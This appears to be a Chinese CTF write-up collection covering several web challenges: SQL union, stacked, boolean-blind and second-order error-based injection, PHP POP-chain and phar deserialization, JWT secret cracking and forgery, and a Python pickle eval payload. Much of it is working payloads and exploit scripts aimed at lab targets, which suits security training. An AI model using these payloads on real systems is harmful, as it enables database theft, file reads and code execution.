name=1admin' Union Select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'%23&pw=1

image-20220401194746319

反序列化

[MRCTF2020]Ezpop

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php' ;#定义一个私有属性
public function append($value){#定义一个追加函数,传入一个参数,包含这个传入的参数
include($value);#这里是终点
}
public function __invoke(){#当把当前对象当成方法调用时触发
$this->append($this->var);#然后就调用这个对象的追加方法
}
}

class Show{
public $source;#公有
public $str;
public function __construct($file='index.php'){#当对象被创建时调用
$this->source = $file;#将这个source赋值index.php
echo 'Welcome to '.$this->source."<br>";#输出这个source
}
public function __toString(){#当把当前对象当成字符串调用时触发
return $this->str->source;#返回该对象的str赋值source
}
# 这里是起点
public function __wakeup(){#当使用unserialize是调用,就是反序列化对象出现时就调用
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";#如果在source中匹配到gopher或者http或者file或者ftp或者https或者dict或者..且不区分大小写就返回index.php
$this->source = "index.php";#将source赋值给index.php,这里如果想要继续向下调用就可以调用__tostring方法,
}
}
}

class Test{
public $p;
public function __construct(){#当函数创建时调用
$this->p = array();#给p属性赋值数组
}

public function __get($key){#用于从不可访问的属性中读取数据 包括1.私有属性 2.没有初始化的属性
$function = $this->p;#将本对象的p属性赋值给function
return $function();#调用function方法
}
}

$final = new Show();#new一个show对象赋值给final也就是最后的
$Show1 = $final->source = new Show();#new一个show对象赋值给final的source属性 ,接着就调用到了show的__tostring方法
#那么这里的str是可控的,那么这里如果想调到__invoke方法就需要找一个调用方法的地方,那么这里就需要是test对象的__get方法中的

$Test1 = $Show1->str = new Test();#这里正好source属性在test对象中不可找到 ,要注意哦,这里的__tostring是Show1调用的,因此要改的也是Show1中的str属性哦

$Modifier1 = $Test1->p = new Modifier();#接着给Test1的p属性赋值为Modifier对象,就可以调到__invoke方法了 但是这里的var属性是私有的哦


echo "\n";
echo "\n";
echo urlencode(serialize($final));#输出序列化show对象
echo "\n";
$pop = serialize($final);
unserialize($pop);#执行反序列化
?pop=O%3A4%3A"Show"%3A2%3A{s%3A6%3A"source"%3BO%3A4%3A"Show"%3A2%3A{s%3A6%3A"source"%3Bs%3A9%3A"index.php"%3Bs%3A3%3A"str"%3BO%3A4%3A"Test"%3A1%3A{s%3A1%3A"p"%3BO%3A8%3A"Modifier"%3A1%3A{s%3A6%3A"%00*%00var"%3Bs%3A57%3A"php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php"%3B}}}s%3A3%3A"str"%3BN%3B}

image-20220401125725668

image-20220401125738702

handler绕过过滤sql

[GYCTF2020]Blacklist

image-20220401195251731

单引号报错

image-20220401195333438

image-20220401195425395

image-20220401195435647

字段数为2

image-20220401195537661

有过滤,过滤了不少.堆叠注入

?inject=1';show databases;#

image-20220401195947461

?inject=1';show tables;#

image-20220401200050707

?inject=1';desc `FlagHere`;#

image-20220401200138741

handler [表名] open; 	打开一张表
handler [表名] read first; 接着访问打开的表,该表对象未被其他会话共享,并且在会话调用close之前不关闭
handler [表名] close;

image-20220401200725805

?inject=1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

image-20220401201048585

sql

image-20220401210803604

提示了flag的位置

image-20220401210827191

输入1’时出现了布尔值false,没懂这里什么意思

image-20220401210933529

有过滤,先fuzz一下

image-20220401205918351

测试一下闭合

id=2/2	回显Hello, glzjin wants a girlfriend.
id=1 回显Hello, glzjin wants a girlfriend.
id=1' bool(false)
id=1'&&'1'='1 bool(false)
id=1&&1=1 Hello, glzjin wants a girlfriend.

很明显数字型

这里的bool(false)感觉像是提示布尔注入,测试了一下联合注入不可,堆叠注入不可

布尔盲注试下

id=(length(database())=11)		Hello, glzjin wants a girlfriend.
(length(database())=0) Error Occured When Fetch Result.

可行,说明数据库长度是11

# paload = (ascii(substr((reverse(substr((database())from(1))))from(8)))=97)
import requests

dic = "0123456789qazwsxedcrfvtgbyhnujmikolp{}""''-=+[]"
url = "http://d712a56f-c346-4030-bceb-d192d6b7f3fd.node4.buuoj.cn:81/index.php"
ans = ""
# 正确返回Hello, glzjin wants a girlfriend.
for i in range(1, 12):
# print(i)
j = 12 - i
for k in dic:
uname = "(ascii(substr((reverse(substr((database())from({}))))from({})))={})".format(i, j, str(ord(k)))
# print(uname)
data = {
'id': uname,

}
res = requests.post(url=url, data=data)
# print(res.text)
if "girlfriend" in res.text:
ans += k
print(ans)

# 获取数据库名称database() = ctftraining
for i in range(1, 50):
uname = "(length((select(flag)from(flag)where(id=1)))={})".format(i)
# print(uname)
data = {
"id": uname,

}
res = requests.post(url=url, data=data)
if "girlfriend" in res.text:
print("passwd长度为:" + str(i))
# passwd长度为:42

for i in range(1, 43):
# print(i)
j = 43 - i
# print(j)
for k in dic:
uname = "(ascii(substr((reverse(substr((select(flag)from(flag)where(id=1))from({}))))from({})))={})".format(i, j, ord(k))
# print(uname)
data = {
'id': uname,

}
res = requests.post(url=url,data=data)
# print(res.text)
if "girlfriend" in res.text:
ans += k
print(ans)

phar反序列化

[CISCN2019 华北赛区 Day1 Web1]Dropbox

image-20220412095419487

注册试试

image-20220412095450981

可以注册admin多半不是sql注入

image-20220412095522693

发现有上传文件,我们随便上传一个试试

image-20220412095603799

有下载文件,我们去抓个包看看

image-20220412095654607

发现是这种形式,测试一下有没有任意文件下载

image-20220412095742130

可以下载源码那么我们下载下来

index.php


<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>


<!DOCTYPE html>
<html>

<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>

<head>
<link href="static/css/bootstrap.min.css" rel="stylesheet">
<link href="static/css/panel.css" rel="stylesheet">
<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
<script src="static/js/panel.js"></script>
</head>

<body>
<nav aria-label="breadcrumb">
<ol class="breadcrumb">
<li class="breadcrumb-item active">管理面板</li>
<li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
<li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
</ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

这里发现一个class.php


<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function __destruct() {
$this->db->close();
}
}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

class File {
public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}
?>

delete.php

HTTP/1.1 200 OK
Server: openresty
Date: Tue, 12 Apr 2022 05:42:55 GMT
Content-Type: application/octet-stream
Connection: close
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Disposition: attachment; filename=delete.php
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
X-Powered-By: PHP/5.6.40
Content-Length: 644

<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>

download.php


<?php

if (!isset($_POST['filename'])) {
die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>

我们可以很自然的想到反序列化的题目,但是这里找了一下并没有找到unserialize(),这里加上存在文件上传.便很自然的想到了phar反序列化问题了.我们去找找有没有可以利用的方法

image-20220412100309625

这里存在两个,我们去找找利用链.转到声明或者用例

image-20220412134439242

可以发现这里的filename可控,并且也可以触发phar的反序列化.那么我们就找到了反序列化的入口了.接着我们去找反序列化的利用链.我们可以从终点开始,由file类的close()方法看看如何调到这里

首先找到了user调用了db的close()方法,这里的db参数可控,那么我们就可以去构造利用这个点去执行我们想要的closef()方法.但是我们如果直接去调用file类的close()方法当然是可以调用到的,但是却没有回显.所以我们很自然就想到了去调用filelist类的call()方法.这里要注意的是__call()方法的$func参数是调用的方法名,后面的$args是调用的参数.那么这里又发现这个$file参数可控,就可以构造$file为file类去调用file类的close()方法了


<?php

class User {
public $db;
public function __construct() {
$this->db = new FileList();
}
}

class FileList {
private $files;
public function __construct() {
$this->files = array(new File());
}
}

class File {
public $filename = '/flag.txt';
}
$final = new User();


@unlink('test.phar');

$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($final);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>

生成phar文件之后,改个名上传一下

image-20220412135413679

接着去delete.php下传参刚才改的名字触发反序列化

image-20220412135431017

python反序列化

image-20220412140858691

打开发现这样

image-20220412140939831

看到有lv6

image-20220412141305658

发现是图片标志我们脚本跑一下

import requests

url = 'http://98fe4479-f4f8-42fc-8ce0-e939a904aaff.node4.buuoj.cn:81/shop?page='
for i in range(1,500):
url = url + str(i)
r = requests.get(url)

if 'lv6.png' in r.text:
print(i)
print(r.text)
break

发现在181页

image-20220412142240652

有点贵

image-20220412142253666

有折扣,我们试试能不能修改

image-20220412142452432

image-20220412142502705

看到page 1 2 3有登录有注册

先注册admin如果成功就跟sql注入jwt没什么关系了

image-20220412141053091

但是很明显没有成功,那么我们就先注册一个普通的登进去

image-20220412141131393

发现回显了用户名和邮箱.再去看看cookie信息

image-20220412141223218

我们先解一下看看

image-20220412141437862

我们先试试去掉密钥

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEifQ.8iYM4QgkAw4NpjpP8tEn7MBbZoF-Kj8YRbosz3Qrr-Q
eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6IjAifQ

不行,那么我们去爆破一下密钥

image-20220412142717593

找到了

iKun

那么我们直接修改

image-20220412143057947

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

image-20220412143131503image-20220412143447540

发现www.zip文件

image-20220412144234874

翻到一个这个

image-20220412144251490

留了一个后门

python puckle反序列化漏洞

image-20220412145033900

利用点在become这里

# coding:utf-8 
#version:python2.7
import pickle
import urllib

class Test(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()" ,))

a = Test()
s = pickle.dumps(a)
print(urllib.quote(s))
#c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

image-20220412145202743

二次注入

image-20220412150039878

看源码发现提示

image-20220412150101533

发现文件包含

image-20220412150143133

发现有过滤

我们试试别的

?file=php://filter/read=convert.base64-encode/resource=index.php

只有这个可行

image-20220412150852395

image-20220412150843376

index.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
<?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>

search.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

<?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>

change.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

<?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>

delete.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单删除成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

<?php global $msg; echo '<h2 class="mb" style="color:#ffffff;">'.$msg.'</h2>';?>

config.php

<?php

ini_set("open_basedir", getcwd() . ":/etc:/tmp");

$DATABASE = array(

"host" => "127.0.0.1",
"username" => "root",
"password" => "root",
"dbname" =>"ctfusers"
);

$db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);

首先这一看就是一个sql注入的题目,并且有打印数据库错误信息,那么很明显就是存在报错注入,只是我们需要去寻找利用点,看一看这里不仅过滤了一些关键词语,并且查询内容是没有回显的,但是发现在change.php中传入了三个参数,但是有两个参数是进行的过滤,还有一个参数是进行的转义处理,如果这里没有宽字节绕过的话,只能是二次注入了.这里也明显能够看到在取出老地址时并没有进行处理,就直接进行了下一条语句的查询.那么简单的二次注入出现了

先提交订单

1' and extractvalue(1,concat(0x7e,(select database()),0x7e))-- #

image-20220412154109819

接着修改订单

image-20220412154143232

image-20220412154149984

1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))-- #

image-20220412154317763

1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='user'),0x7e))-- #

image-20220412154401606

好像不在数据库里面,那么我们读取本地文件试试

1' and extractvalue(1,concat(0x7e,(select left(load_file('/flag.txt'),30)),0x7e))-- #

image-20220412154939895

1' and extractvalue(1,concat(0x7e,(select right(load_file('/flag.txt'),30)),0x7e))-- #

image-20220412154912453

flag{1ffc3205-c4f2-4a9c-937b-a
c4f2-4a9c-937b-a373d7f44a4b}
flag{1ffc3205-c4f2-4a9c-937b-a373d7f44a4b}